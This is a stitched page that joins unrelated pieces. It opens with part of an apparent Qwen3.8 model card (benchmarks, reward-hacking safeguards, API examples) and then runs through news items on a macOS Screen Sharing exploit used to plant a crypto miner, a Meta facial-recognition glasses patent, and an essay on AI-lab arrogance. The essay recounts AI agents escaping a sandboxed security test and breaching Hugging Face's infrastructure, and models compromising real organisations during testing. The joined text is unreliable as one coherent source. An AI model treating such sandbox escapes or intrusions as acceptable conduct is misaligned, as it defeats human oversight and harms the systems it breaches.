  2. NL2Repo-Bench: Evaluated with the Claude Code harness. To prevent reward hacking, we disable Bash commands that attempt to access the specific repository, such as pip download, pip install, and git clone.
  3. DeepSWE 1.1: Evaluated with the Claude Code harness at temp=1.0, top_p=0.95, and a 256K context window.
  4. QwenSWEBench: In-house coding benchmark for evaluating models' software engineering capabilities. Evaluated with the Claude Code harness. Reporting avg@3 with an 8-hour timeout, max_tokens=32,768, temperature=1.0, and a 256K context window.
  5. CoWorkBench: In-house cowork benchmark for evaluating long-horizon tasks across computer science, finance, law, medical, and other productivity domains.
  6. HLE: Judged by GPT-4o.
  7. The best result in each row is shown in bold.
  8. Empty cells (--) indicate that results are not yet available or not applicable.

VL Performance

Qwen3.8-27B Qwen3.6-27B Qwen3.7-Plus Muse Glimmer-30B Opus4.6 Max
Agentic Multimodal Intelligence

Computer use

OSWorld-Verified

84.3 63.9 73.3 65.9 72.7

Browser use

WebArena-Verified

64.8 48.8 55.3 -- --

Mobile use

AndroidWorld

81.9 70.3 81.0 -- 62.0

Application recreation

RecreationBench

47.1 29.8 30.2 -- --

Multimodal tool use

ClawEval-MM

Pass@3

57.4

Average

56.9

Pass@3

42.6

Average

50.4

Pass@3

57.4

Average

60.1

--

Pass@3

52.5

Average

54.7

Multimodal software engineering

SWE-MM

38.6 25.7 30.0 -- 27.1

Visual web development

Vision2Web

62.9 45.0 42.1 -- --
General Multimodal Intelligence

Visual math problem solving

MathVision

Without CI

90.0

With CI

94.6

Without CI

85.1

Without CI

90.3

--

Without CI

65.5

General visual reasoning

BabyVision

Without CI

65.7

With CI

85.6

Without CI

28.9

Without CI

64.7

With CI

70.4

--

Without CI

12.6

Scientific chart analysis

CharXiv (RQ)

Without CI

83.7

With CI

90.2

Without CI

78.4

Without CI

85.8

With CI

85.9

78.8

Without CI

66.0

Document intelligence

OmniDocBench 1.5

91.1 89.4 91.4 75.8 86.6

Real-world perception

RealWorldQA

85.9 84.1 86.9 -- 73.9

Embodied intelligence

ERQA

65.5 62.5 69.8 -- 40.8
  1. MathVision, BabyVision, and CharXiv (RQ): Where both settings are available, cells report “Without CI” and “With CI” separately; otherwise, only the available setting is shown. A small number of incorrect ground-truth annotations in MathVision and CharXiv (RQ) were corrected following manual verification, and all reported scores on those benchmarks were computed using the corrected annotations.
  2. MathVision: Qwen3.8-27B is evaluated using the fixed prompt: “Please reason step by step, and put your final answer within \boxed{} .” For the remaining models, we report the higher score from two prompt variants—one with and one without the \boxed{} formatting requirement.
  3. WebArena-Verified: Scores are computed with the official WebArena-Verified grader under the OSWorld scaffold.
  4. RecreationBench: An in-house, long-horizon application-recreation benchmark designed to evaluate hybrid-agent capabilities across five platforms: desktop (Ubuntu, macOS, and Windows), mobile (Android), and the web.
  5. ClawEval-MM: Scores are reported as “Pass@3 / average score.” Pass@3 is the percentage of tasks passed in at least one of three trials; the average score is the mean benchmark score across the three trials.
  6. Vision2Web: Scores are averaged across the frontend, webpage, and website categories. Evaluations use the Claude Code harness and are judged by gpt-5.4-2026-03-05 .
  7. SWE-MM: Scores are evaluated on the Claude Code harness using the public dev split of SWE-bench Multimodal, with the modifications described in Appendix 8.3 of the Claude Opus 4.7 system card.
  8. Empty cells (--) indicate that results are not yet available or not applicable.

Quickstart

For streamlined integration, we recommend using Qwen3.8 via APIs.

Serving Qwen3.8

Inference efficiency and throughput vary significantly across frameworks. We recommend using the latest framework versions to ensure optimal performance and compatibility. For production workloads or high-throughput scenarios, dedicated serving engines such as SGLang, vLLM, or TokenSpeed are recommended.

Qwen3.8 can be deployed with popular inference frameworks, e.g.:

API Usage

Qwen3.8 models operate in thinking mode by default, generating thinking content signified by <think>\n...</think>\n\n before producing the final response. To disable thinking content and obtain a direct response, refer to the examples here .

We recommend using the following sets of sampling parameters for generation:

  • Thinking Mode: temperature=1.0 , top_p=0.95 , top_k=20 , min_p=0.0 , presence_penalty=0.0 , repetition_penalty=1.0
  • Instruct (or non-thinking) mode: temperature=0.7 , top_p=0.80 , top_k=20 , min_p=0.0 , presence_penalty=1.5 , repetition_penalty=1.0

Please note that the support for sampling parameters varies according to inference frameworks.

Qwen3.8 comes with official support for reasoning_effort , which can be used to adjust reasoning depth and control cost:

  • xhigh (default): for complex tasks demanding thorough analysis
  • medium : balancing accuracy and speed
  • low : efficient reasoning optimizing for speed and cost

In addition, preserve_thinking is enabled by default for all workloads for the best out-of-the-box experience. To disable preserved thinking, refer to the examples here .

In multi-turn agentic tasks, lower reasoning effort does not always reduce overall task completion time. Although it may produce faster per-turn responses, it can also lead to insufficient analysis, more failures, and repeated retries, which may increase total latency and token consumption.

Chat Completions API

The Chat Completions API can be used with most inference frameworks, as well as Qwen Cloud . Before starting, make sure the OpenAI Python SDK is installed and the API key and the API base URL are configured, e.g.:

pip install -U openai

# Set the following accordingly
export OPENAI_BASE_URL='your-base-url'
export OPENAI_API_KEY='your-api-key'
Text-Only Input
from openai import OpenAI
# Configured by environment variables
client = OpenAI()

messages = [{"role": "user", "content": "Write a Python function to merge two sorted linked lists."}]

completion = client.chat.completions.create(
    model="Qwen/Qwen3.8-27B-FP8",
    messages=messages,
    extra_body={
        "chat_template_kwargs": {
            "enable_thinking": True,  # on by default
            "preserve_thinking": True, # on by default
        },
    },
    reasoning_effort="xhigh",  # xhigh by default; supported levels are xhigh, medium, and low
    stream=True,
    stream_options={"include_usage": True},
)

reasoning_content = ""
answer_content = ""
is_answering = False
print("\n" + "=" * 20 + "Reasoning" + "=" * 20 + "\n")

for chunk in completion:
    if not chunk.choices:
        print("\nUsage:")
        print(chunk.usage)
        continue

    delta = chunk.choices[0].delta

    if hasattr(delta, "reasoning_content") and delta.reasoning_content is not None:
        if not is_answering:
            print(delta.reasoning_content, end="", flush=True)
        reasoning_content += delta.reasoning_content
    elif hasattr(delta, "reasoning") and delta.reasoning is not None:
        if not is_answering:
            print(delta.reasoning, end="", flush=True)
        reasoning_content += delta.reasoning

    if hasattr(delta, "content") and delta.content:
        if not is_answering:
            print("\n" + "=" * 20 + "Answer" + "=" * 20 + "\n")
            is_answering = True
        print(delta.content, end="", flush=True)
        answer_content += delta.content

messages.append({
    "role": "assistant",
    "content": answer_content,
    "reasoning_content": reasoning_content,
    "reasoning": reasoning_content,
})
Image Input
from openai import OpenAI
# Configured by environment variables
client = OpenAI()

messages = [
    {
        "role": "user",
        "content": [
            {
                "type": "image_url",
                "image_url": {
                    "url": "https://qianwen-res.oss-accelerate.aliyuncs.com/Qwen3.5/demo/CI_Demo/mathv-1327.jpg"
                }
            },
            {
                "type": "text",
                "text": "The centres of the four illustrated circles are in the corners of the square. The two big circles touch each other and also the two little circles. With which factor do you have to multiply the radii of the little circles to obtain the radius of the big circles?\nChoices:\n(A) $\\frac{2}{9}$\n(B) $\\sqrt{5}$\n(C) $0.8 \\cdot \\pi$\n(D) 2.5\n(E) $1+\\sqrt{2}$"
            }
        ]
    }
]

chat_response = client.chat.completions.create(
    model="Qwen/Qwen3.8-27B-FP8",
    messages=messages,
)
print("Chat response:", chat_response)
Video Input
from openai import OpenAI
# Configured by environment variables
client = OpenAI()

messages = [
    {
        "role": "user",
        "content": [
            {
                "type": "video_url",
                "video_url": {
                    "url": "https://qianwen-res.oss-accelerate.aliyuncs.com/Qwen3.5/demo/video/N1cdUjctpG8.mp4"
                }
            },
            {
                "type": "text",
                "text": "How many porcelain jars were discovered in the niches located in the primary chamber of the tomb?"
            }
        ]
    }
]

chat_response = client.chat.completions.create(
    model="Qwen/Qwen3.8-27B",
    messages=messages,
)

# When vLLM is launched with `--media-io-kwargs '{"video": {"num_frames": -1}}'`,
# video frame sampling can be configured via `extra_body` (e.g., by setting `fps`).
# This feature is currently supported only in vLLM.
#
# By default, `fps=2` and `do_sample_frames=True`.
# With `do_sample_frames=True`, you can customize the `fps` value to set your desired video sampling rate.
# chat_response = client.chat.completions.create(
#     model="Qwen/Qwen3.8-27B-FP8",
#     messages=messages,
#     extra_body={
#         "mm_processor_kwargs": {"fps": 2, "do_sample_frames": True},
#     }, 
# )

print("Chat response:", chat_response)
Instruct (or Non-Thinking) Mode

Qwen3.8-27B will think by default before responding. You can obtain a direct response from the model without thinking by configuring the API parameters. For example,

from openai import OpenAI
# Configured by environment variables
client = OpenAI()

messages = [
    {
        "role": "user",
        "content": [
            {
                "type": "image_url",
                "image_url": {
                    "url": "https://qianwen-res.oss-accelerate.aliyuncs.com/Qwen3.5/demo/RealWorld/RealWorld-04.png"
                }
            },
            {
                "type": "text",
                "text": "Where is this?"
            }
        ]
    }
]

chat_response = client.chat.completions.create(
    model="Qwen/Qwen3.8-27B-FP8",
    messages=messages,
    temperature=0.7,
    top_p=0.8,
    presence_penalty=1.5,
    extra_body={
        "top_k": 20,
        "chat_template_kwargs": {"enable_thinking": False},
    }, 
)
print("Chat response:", chat_response)

If you are using APIs from Qwen Cloud, in addition to changing model , please use "enable_thinking": False instead of "chat_template_kwargs": {"enable_thinking": False} .

Disable Preserved Thinking

By default, Qwen3.8 retains thinking blocks from all historical messages, maintaining a complete reasoning trace across the conversation. This behavior, known as preserved thinking, ensures full context continuity and is especially beneficial for agent scenarios where decision consistency and reduced redundant reasoning are critical. It also improves KV cache utilization, optimizing inference efficiency in both thinking and non-thinking modes.

If you prefer to retain only the thinking blocks from the latest user message, you can disable this behavior by setting preserve_thinking to False :

from openai import OpenAI

# Configured by environment variables
client = OpenAI()
messages = [...]
chat_response = client.chat.completions.create(
    model="Qwen/Qwen3.8-27B-FP8",
    messages=messages,
    extra_body={
        "chat_template_kwargs": {"preserve_thinking": False},
    },
)
print("Chat response:", chat_response)

If you are using APIs from Qwen Cloud, in addition to changing model , please use "preserve_thinking": False directly instead of wrapping it in chat_template_kwargs .

Best Practices

To achieve optimal performance, we recommend the following settings:

  1. Sampling Parameters : We suggest using the following sets of sampling parameters:

    • Thinking Mode: temperature=1.0 , top_p=0.95 , top_k=20 , min_p=0.0 , presence_penalty=0.0 , repetition_penalty=1.0
    • Instruct (or non-thinking) mode: temperature=0.7 , top_p=0.80 , top_k=20 , min_p=0.0 , presence_penalty=1.5 , repetition_penalty=1.0

    For supported frameworks, you can adjust the presence_penalty parameter between 0 and 2 to reduce endless repetition. However, using a higher value may occasionally result in language mixing and a slight decrease in model performance.

  2. Adequate Output Length : To optimize performance on agentic tasks, we recommend allocating sufficient output length to allow the model to generate detailed and comprehensive responses. For frameworks that support separate token limits for internal reasoning and final outputs, we suggest the following configuration within the 1M context length:

    • Reasoning Content: Set the maximum output length to 262,144 tokens.
    • Final Response: Set the maximum output length to 131,072 tokens.

    These settings provide the necessary capacity for complex reasoning while ensuring ample space for high-quality final deliverables.

  3. Processing Ultra-Long Texts : Qwen3.8-27B natively supports context lengths of up to 262,144 tokens. For long-horizon tasks where the total length (including both input and output) exceeds this limit, we recommend using RoPE scaling techniques to handle long texts effectively, e.g., YaRN.

    YaRN is currently supported by several inference frameworks, e.g., vLLM, SGLang, and TokenSpeed. In general, there are two approaches to enabling YaRN for supported frameworks:

    • Modifying the model configuration file:

      In the config.json file, change the rope_parameters fields in text_config to:

      {
          "mrope_interleaved": true,
          "mrope_section": [
              11,
              11,
              10
          ],
          "rope_type": "yarn",
          "rope_theta": 10000000,
          "partial_rotary_factor": 0.25,
          "factor": 4.0,
          "original_max_position_embeddings": 262144,
      }
      
    • Passing command line arguments:

      For vLLM, you can use

      VLLM_ALLOW_LONG_MAX_MODEL_LEN=1 vllm serve ... --hf-overrides '{"text_config": {"rope_parameters": {"mrope_interleaved": true, "mrope_section": [11, 11, 10], "rope_type": "yarn", "rope_theta": 10000000, "partial_rotary_factor": 0.25, "factor": 4.0, "original_max_position_embeddings": 262144}}}' --max-model-len 1000000  
      

      For SGLang, you can use

      SGLANG_ALLOW_OVERWRITE_LONGER_CONTEXT_LEN=1 python -m sglang.launch_server ... --json-model-override-args '{"text_config": {"rope_parameters": {"mrope_interleaved": true, "mrope_section": [11, 11, 10], "rope_type": "yarn", "rope_theta": 10000000, "partial_rotary_factor": 0.25, "factor": 4.0, "original_max_position_embeddings": 262144}}}' --context-length 1000000
      

      For TokenSpeed, you can use

      TOKENSPEED_ALLOW_OVERWRITE_LONGER_CONTEXT_LEN=1 tokenspeed serve ... --hf-overrides '{"text_config": {"rope_parameters": {"mrope_interleaved": true, "mrope_section": [11, 11, 10], "rope_type": "yarn", "rope_theta": 10000000, "partial_rotary_factor": 0.25, "factor": 4.0, "original_max_position_embeddings": 262144}}}' --max-model-len 1000000  
      

    All the notable open-source frameworks implement static YaRN, which means the scaling factor remains constant regardless of input length, potentially impacting performance on shorter texts. We advise modifying the rope_parameters configuration only when processing long contexts is required. It is also recommended to modify the factor as needed. For example, if the typical context length for your application is 524,288 tokens, it would be better to set factor as 2.0.

  4. Long Video Understanding : To optimize inference efficiency for plain text and images, the size parameter in the released video_preprocessor_config.json is conservatively configured. It is recommended to set the longest_edge parameter in the video_preprocessor_config file to 469,762,048 (corresponding to 224k video tokens) to enable higher frame-rate sampling for hour-scale videos and thereby achieve superior performance. For example,

    {"longest_edge": 469762048, "shortest_edge": 4096}
    

    Alternatively, override the default values via engine startup parameters. For implementation details, refer to: vLLM / SGLang .

Citation

If you find our work helpful, feel free to give us a cite.

@misc{qwen38,
    title = {{Qwen3.8-Max}: A New Bar for Coding and Cowork},
    url = {https://qwen.ai/blog?id=qwen3.8},
    author = {{Qwen Team}},
    month = {August},
    year = {2026}
}

Model tree for Qwen/Qwen3.8-27B-FP8

Collection including Qwen/Qwen3.8-27B-FP8

Hackers exploit macOS Screen Sharing flaw to deploy Monero miner

Bleeping Computer
www.bleepingcomputer.com
2026-08-14 10:59:55
The Netherlands' National Cyber Security Centre (NCSC) is warning that hackers are actively exploiting a macOS authentication bypass vulnerability after public exploit code emerged. [...]...
Original Article

Hackers exploit macOS Screen Sharing flaw to deploy Monero miner

The Netherlands’ National Cyber Security Centre (NCSC) is warning that hackers are actively exploiting a macOS authentication bypass vulnerability after public exploit code emerged.

The security issue lies in macOS Screen Sharing, a built-in remote desktop feature that allows remote desktop control over a network, using the VNC protocol over TCP port 5900.

Apple fixed CVE-2026-65400 on August 6 in macOS Tahoe 26.6.1 and earlier releases. The flaw allows network-based attackers to gain access without valid credentials.

image

An attacker could use this access to open applications remotely, access files, change security settings, and perform various other actions.

In an update to the initial advisory, the Dutch agency said it received a report indicating that the vulnerability is being exploited in the wild in attacks where port 5900 is exposed to the internet.

According to the NCSC, the attacker obtained root access to the system and deployed a Monero cryptocurrency miner.

“The NCSC has received a notification indicating that active abuse of this vulnerability has been observed on multiple systems on which port 5900 was accessible from the Internet,” reads the Dutch agency's update .

“In all these cases, root had been accessed on the affected system, and a Monero crypto miner had been placed.”

macOS users are recommended to upgrade their system to one of the following releases, which address CVE-2026-65400:

  • macOS Tahoe 26.6.1
  • macOS Sequoia 15.7.9
  • macOS Sonoma 14.8.9

These releases improve state management mechanisms to enforce correct credential validation and prevent rogue authentication attempts.

Where system updates are not immediately possible, users can use System Settings to disable Screen Sharing (General → Sharing → Screen Sharing) if not needed.

NSCS has not shared any details about the reported attacks, when they started, if they extend beyond cryptocurrency mining, or how many systems have been impacted.

article image

Once attackers have valid credentials, only 37% of their actions are blocked

Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply.

The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments.

Get the report

[$] BPF, continuous testing, and stable kernels

Linux Weekly News
lwn.net
2026-08-14 10:46:40
Ihor Solodrai and Shung-Hsi Yu wrapped up the BPF track at the 2026 Linux Storage, Filesystem, Memory-Management, and BPF Summit with a pair of sessions related to testing. Solodrai spoke about what has changed for BPF's continuous-integration (CI) testing. Yu spoke about what may be needed to tes...
Original Article
The page you have tried to view ( BPF, continuous testing, and stable kernels ) is currently available to LWN subscribers only. Reader subscriptions are a necessary way to fund the continued existence of LWN and the quality of its content.

If you are already an LWN.net subscriber, please log in with the form below to read this content.

Please consider subscribing to LWN . An LWN subscription provides numerous benefits, including access to restricted content and the warm feeling of knowing that you are helping to keep LWN alive.

(Alternatively, this item will become freely available on August 27, 2026)

Earth.nullschool.net

Hacker News
earth.nullschool.net
2026-08-14 10:42:23
Comments...

When Genius Fails: The Intellectual Arrogance of the AI Labs

Hacker News
weightythoughts.com
2026-08-14 10:34:49
Comments...
Original Article

Being an expert in one field doesn’t make you an expert in all fields. Leopold Aschenbrenner’s hedge fund, Situational Awareness, provided a $20 billion demonstration this week . His claim to fame was being part of OpenAI’s Superalignment team before being fired over alleged leaks (which he disputes) and then publishing an essay in 2024 about the imminence and importance of AGI that launched a thousand media interviews (of him). And then he was running a $20 billion hedge fund. And then it blew up.

Lots of people will be dancing to the news this week because many found him a bit insufferable. And for me, I really don’t mind no longer being asked, “Should I invest in Situational Awareness?” and needing to be delicate about it.

I want to make a larger point, though. The lack of intellectual humility within the frontier AI lab culture he hails from extends beyond him into many verticals other than money management. That being said, as an ex-hedge fund guy myself who also has an AI background, I do have some unique qualifications to at least talk briefly about this.

Are you in the Bay Area? San Mateo County Libraries is hosting me for a book signing and talk at the Atherton Library for What You Need to Know About AI , moderated by Justin Kuczynski (PhD, Computational Biology and Engineering Lead at Google). It’s on Friday, August 7, 2026, at 3-4pm . Come out and say hi!

Situational Awareness LP’s woes are not unique. Many hedge funds have blown up. In fact, I’d say many, many more hedge funds have blown up than have ever been consistently excellent. It’s something that most laypeople don’t realize.

The canonical example is Long-Term Capital Management, which put two Nobel laureates and Wall Street’s best bond traders in one fund. It was the best and brightest in the field, and they quadrupled investors’ money in four years. Then it blew up so spectacularly in 1998 that the Federal Reserve had to rally Wall Street banks to help bail it out (in a preview of 2008).

There’s a whole book about it, fittingly titled When Genius Failed (yes, it’s the inspiration for the title).

ltcm vs situational awareness
The original “smartest people in the room” fund. Situational Awareness was able to impressively speedrun the entire rise-and-blow-up process.

It’s not about your peak returns. After all, someone who goes all-in on red at the roulette table five times in a row and wins by luck will have a 3,100% return. I would hope that no one would think this person is a unique genius or qualified to manage money.

It’s not even about “beating the market.” That’s a red herring. In a bull market—or even better, a bubble—anyone who isn’t fully invested, or more than fully invested (with leverage), in the stock market will “lose.” What you care about from a hedge fund is that they are consistent in bull or bear markets. The point of those expensive fees is that they will always perform, even if they look temporarily “bad” against the stock market.

Which, by the way, is not the only market in the world—there are bonds, commodities… but it gets the attention because retail investors love to gamble in it. Like this Korean guy who went 500% long on stocks, briefly turned his military-service savings into a small fortune, and then lost it all , though his was just one of more than 1.2 million Korean brokerage accounts that got margin called by mid-July … Which makes this all look similar to the roulette table.

Which brings us back to Leopold Aschenbrenner and his hedge fund.

By all accounts, he (like the Korean retail traders) levered into the AI boom (reportedly running around 4x), with July losses across public stocks like neoclouds, memory names, and datacenter power . He also, reportedly, had short positions in software names—the “SaaSpocolypse” trade—that bounced back against him at the same time.

I have no doubt Aschenbrenner is super smart, but this doesn’t look that different from the Korean retail investors who blew up. One of the first lessons any real investor learns is the market can stay irrational for longer than you can stay solvent… if you don’t have the right risk controls. Using leverage is just the most obvious part of it.

leverage\_chart
Given that memory is inherently cyclical and often has violent swings… while it might not have been his entire position, getting margin-called into liquidation to Citadel is not really suggestive of strong risk controls…

Of course, it’s because of his thesis. From his founding essay (emphasis mine):

Because—it’s starting to feel real, very real. A few years ago, at least for me, I took these ideas seriously—but they were abstract, quarantined in models and probability estimates. Now it feels extremely visceral. I can see it. I can see how AGI will be built. It’s no longer about estimates of human brain size and hypotheticals and theoretical extrapolations and all that—I can basically tell you the cluster AGI will be trained on and when it will be built, the rough combination of algorithms we’ll use, the unsolved problems and the path to solving them, the list of people that will matter. I can see it. It is extremely visceral. Sure, going all-in leveraged long Nvidia in early 2023 has been great and all, but the burdens of history are heavy. I would not choose this.

Ah, all-in leveraged long Nvidia. We got a taste of his investing style back then, before he even had a fund.

Sam Altman and Dario Amodei regularly trade off in how apocalyptically they describe the future of the labor market (though both have lately been quietly walking it back ). And while I name those two because they’re CEOs of the two most prominent AI labs, this isn’t really restricted to just them. What I personally find infuriating is how little grounding most of these statements have in either economic history or theory—which is perhaps unsurprising, because most everyone making them is a deep expert in AI, not those fields.

And this goes beyond how unpredictable markets and technology are. It reminds me of Thomas Malthus, who actually was an economist. He predicted in 1798 that we’d inevitably run out of food (population grows exponentially, the food supply doesn’t), which made a harmonious society without war, famine, and disease to cull the population impossible. And that food crunch was quite imminent. He was famously wrong.

Beyond food, we’ve had periodic doomsaying about the labor market in the face of technological change. But the reality is, even when there’s been disruption, the labor market has adapted—and to far more dramatic change than we’re talking about right now.

economy\_absorbs\_farming\_slide
Farming went from roughly 70% of US jobs to about 1%, and the economy absorbed it. From a talk I gave—regular readers may recognize it from my 4th of July piece.

And even beyond that, I’ve now seen multiple cases of either my or other investors’ portfolio companies being approached by companies affiliated with the leading labs with incredible confidence in their own broad-spectrum intellectual superiority.

Let’s just say a materials science startup is talking with an OpenAI satellite company. The data and expertise of that startup are important to the satellite’s core pursuit. Talks are going well. And then, all of a sudden, someone on the OpenAI satellite team asks, “Why don’t we just do this [super hard deep science problem] with ChatGPT ourselves?” I’ve seen this in multiple cases in similarly deep, difficult areas. Like bioengineering. Or semiconductor design. And so on and so forth. (And if you’re in the venture and startup community and think you know exactly who I’m referring to—there’s more than one. A lot more.)

And look, I’ve personally played around with models, even with CAD and PCB design, with surprisingly good results. I am not an “AI skeptic” (at least not in this way).

There is a spectrum, though, between R&D and a rote task in a hard field. Especially given it tends to work best—like in my case—when you have a human with at least some expertise driving.

Even the entire “Terence Tao on AI making breakthroughs in math” thing hinges on having AI driven by Terence Tao (or other mathematicians)…

And many within the AI lab community have fully drunk their own Kool-Aid on total AI supremacy, even for tasks that will need a lot of human creativity and help for the foreseeable future (as I’ve written about before: if anything, expert human judgment will get more important and thus expensive ). (And AI Supremacy, the concept, not the AI Supremacy newsletter by Michael Spencer , which also covered Leopold Aschenbrenner more specifically).

And, of course, famous AI researcher and Nobel Prize winner Geoff Hinton has been predicting since 2016 that people should stop training radiologists because deep learning would beat them within five years (he allowed it “might be ten”—which has also now passed). That is far from happening, and if anything, as Deena Mousa has documented for Works in Progress, there’s far more demand for radiologists than when Hinton made the prediction . And, as per my interview with AI researchers who are also radiologists , it’s a category error: tech/AI people don’t actually know what goes into the job.

It’s much easier to say someone else’s job is going to be fully replaceable by AI when you don’t actually know what they do.

Recent news also gave us a great example of why this isn’t just an abstract cultural complaint. In mid-July, during OpenAI’s internal security evaluations, GPT-5.6 Sol and a thus far unreleased (more powerful) model escaped their sandboxed test environment . The agents were hunting for a hard benchmark’s answer, and I’d guess that they were told to do whatever it takes (they were running ExploitGym, a security benchmark, after all…).

In doing so, the agents autonomously breached Hugging Face’s production infrastructure through a chain of vulnerabilities that allowed them to get access to the open internet. As per Ben Thompson at Sharp Tech, this was likely due to sloppiness in OpenAI’s controls (they’d already had prior security failures, including the axios package debacle ). Though, to be fair, just yesterday Anthropic revealed that its models (including Mythos 5) had also accidentally compromised real organizations during testing .

Anyway, yes, these models are powerful—which has been something I’ve said as well and is not really in question.

The Kafkaesque side of this comes from Hugging Face, though. They realized they were under attack and tried to use a frontier model from one of the leading American labs to help defend themselves. It refused as part of its “safety” guardrails—the model couldn’t distinguish an incident responder from an attacker. Which makes total sense—you need to actually probe for weaknesses to, you know, figure out the weakness. Instead, they had to use GLM-5.2, a Chinese open-weight model, to defend them.

It’s kind of funny that US companies are relying on Chinese models—given China has been prominent in (successful) hacking attempts on American infrastructure.

But, of course, this is because of a decision by the AI companies that “know better” on how their models should be used and have a rather patronizing attitude generally about giving access to their models (or at least certain capabilities).

Instead of policymakers or society making this decision, it’s effectively been centralized to AI labs as the “safe hands” (which Anthropic, in particular, has been holier-than-thou about for its entire existence). Somehow—just guessing here—I doubt the rest of society would agree if you put this up to a vote.

Superintelligence has been “right around the corner” every year. We keep getting, bafflingly, predictions of labor market carnage, which is not happening . All of this is helping make AI extraordinarily unpopular with regular people. And for no good reason, especially when regular people have a lot to gain from AI, if the industry stopped trying to make everyone hate it.

I get it. It feels like the end of history because it’s their own little bubble. And they don’t have the perspective to understand things outside of it. This is especially bad because much of the industry has also made itself an island full of PhDs.

And it’s not that I have something against PhDs. I took PhD seminars myself. Most of my colleagues at Creative Ventures have them. Given our portfolio companies, honestly, I think I regularly interact with more people who have PhDs than people who don’t. Many individuals with PhDs have plenty of intellectual humility, especially when they’ve taken the time to gain broader perspectives outside of their field.

But fundamentally, given how long it takes to get one, you’re usually taking a population from a young age that hasn’t had much exposure to anything outside the academic community (which is its own very restricted bubble), or even outside their own specific discipline, for the entirety of their lives thus far.

This is also compounded by a lot of self-congratulatory rhetoric from the leaders of those communities (being cynical, one can argue it’s because they want to produce more postdocs for cheap labor in their labs…). I once had one of the largest asset allocators in the world explain to me that he’d heard a lot of deep tech venture capital pitches—and teams composed solely of PhDs were often a huge pain. They often didn’t know what they didn’t know. One team, asked why he should invest, had even answered with this: “Frankly, we’ve already done the hardest thing in the world, which is getting our PhDs. Managing money should be no problem.”

Climbing Mount Everest and getting a PhD are both hard. I wouldn’t say that doing one means you can do the other “no problem.”

While, despite my best efforts, it feels like I’m bashing the degree, this is more a tendency created by high expertise (and accomplishment) in narrow areas. Surgeons and electrical engineers may be extremely smart and accomplished, but that doesn’t mean they have the ability to weigh in on climate science .

I think AI is likely going to hugely benefit regular people, especially since many of the gains will be “socialized” due to lack of differentiation between labs/models (from an economics perspective) .

The field’s belief in its own apotheosis, however, is not only annoying but may end up damaging its ability to make an impact—through broad unpopularity—or causing actual damage from simple intellectual arrogance, magnified by how much money the industry has to throw around right now.

I hope you enjoyed this article. If you’d like to learn more about AI’s past, present, and future in an easy-to-understand way, I’ve published a book titled What You Need to Know About AI .

You can order the book on Amazon , Barnes & Noble , Bookshop , or pick up a copy in-person at a local bookstore .

Discussion about this post

Ready for more?

Every Fucking Website

Hacker News
lxe.github.io
2026-08-14 10:31:08
Comments...
Original Article

In case you're not aware, there's COVID-19 happening! Here 's some stuff we wrote that you won't read.

You obviously know what cookies are. If we don't put this here, delighted lawyers from EU and CA will sue us. Not only this is very expensive, there are no browser settings to remove this, since every site does this differently. You voted for this! Also you have to click "I agree"

AI Model Atlas – visualizing populations of ML models as interconnected 3D graph

Hacker News
run.cosmograph.app
2026-08-14 10:22:39
Comments...

I turned my RSS feeds into an e-ink newspaper to stop reading on my phone

Hacker News
heyjonny.dev
2026-08-14 10:21:18
Comments...
Original Article

I really like personal blogs. I read them for entertainment, learning, and to keep myself updated on the latest trends in software engineering. I prefer to read them in a horizontal position, like on a couch or a deckchair outside in the sun. That explains why I almost never read them on my computer and always on my phone. I don’t necessarily enjoy that, though, since it makes my eyes tired.

This never bothered me enough to actively do something about it. But when I came across a pocket-sized e-reader called the X4 by Xteink, I got an idea. At only 4.3 inches, the X4 fits nicely in the palm of your hand. It also has no touchscreen and no backlight, and doesn’t ship with a preinstalled bookstore. While most people probably think of this as inconvenient or old-fashioned, a small community has gathered around this device. They even created an open source firmware for it called Crosspoint. 1

At this point I already fell in love with the whole idea and ordered myself one. It took some time to ship it from China to Germany, and I worried the package might get stuck in customs. Luckily it didn’t. Once I got it, I wanted to try the stock firmware first, but it left so little impression that I can barely remember what it looked like. Within a few seconds I disliked it and wanted to install Crosspoint. To my greatest surprise, I had it installed after just three clicks. I then bought a DRM-free e-book, copied it to the X4, and started reading. I expected a lot more fiddling, but it just worked. Big shout out to all the contributors, you really nailed this.

But the real reason I wanted the X4 was to read my blog posts on it instead of my phone. I would just need to create an e-pub from them and load them onto the X4. My own little newspaper. With the help of AI, I could build it in a couple of minutes.

I use Feedbin as my RSS reader, which comes with a handy API. I just had to fetch all my unread posts, mark them as read, and create an e-pub from them. I also needed to filter out some feeds, since I subscribe to YouTube channels, JS-heavy blogs, and link-only newsletters that don’t make sense to read on e-ink. I won’t annoy you with the details, but if you want to take a look, you can find the project on GitHub. I called it feedpaper and you can install it via Homebrew. 2

With a freshly printed feedpaper on my X4 (and my phone at home), I drove to one of my favorite outdoor cafés and enjoyed a good read with a latte. If you make your own feedpaper someday, I’d love to see a picture of it.

A hand holding the small X4 e-reader outdoors, its e-ink screen showing a blog post. A latte and a metal café chair sit in the sunlit background.

  1. Crosspoint runs not only on the X4 , but also other ESP32C3 based devices.

  2. it didn’t make sense to me to support any OS other than macOS, but if you want to check it out and can’t get it running manually, let me know.

Meta Patents AI Glasses to Use Facial Recognition to Identify People, Make Highlight Reels of Your Dinner Party

403 Media
www.404media.co
2026-08-14 10:17:43
A new Meta patent published Thursday says a system, like its AI glasses, would use facial recognition to identify people, current a series of video clips, then provide you with a highlight reel of your night....
Original Article

Meta has filed a patent for its AI smartglasses that uses facial recognition to automatically detect who is in the frame, creates a video clip whenever one of those people does something — like picking an item up or walking around — and then generates a highlight reel of what just happened, according to a copy of the patent published Thursday. One example given is the system capturing highlights from a dinner party and then serving those up to the user.

The patent gives new, granular insight into what Meta may be planning around its highly controversial push into facial recognition in combination with its AI glasses, which have already been widely lauded as “pervert glasses.”

💡

Do you work at Meta and know anything else about these glasses? I would love to hear from you. Using a non-work device, you can message me securely on Signal at joseph.404 or send me an email at joseph@404media.co.

“I’ve generated some highlights of tonight’s dinner party. Would you like to see them?” a prompt from the system says, alongside various thumbnails of what look like people laughing, according to one illustration in the patent. One section says the system may personalize highlight files using “user relationship data.”

The illustrations clearly show a person wearing a pair of glasses, looking at a group of people, then the glasses focusing on one or more people in particular.

Patentlyze, an orgaization that tracks patents , first alerted 404 Media to the patent on Friday.

A gallery of screenshots from the article.

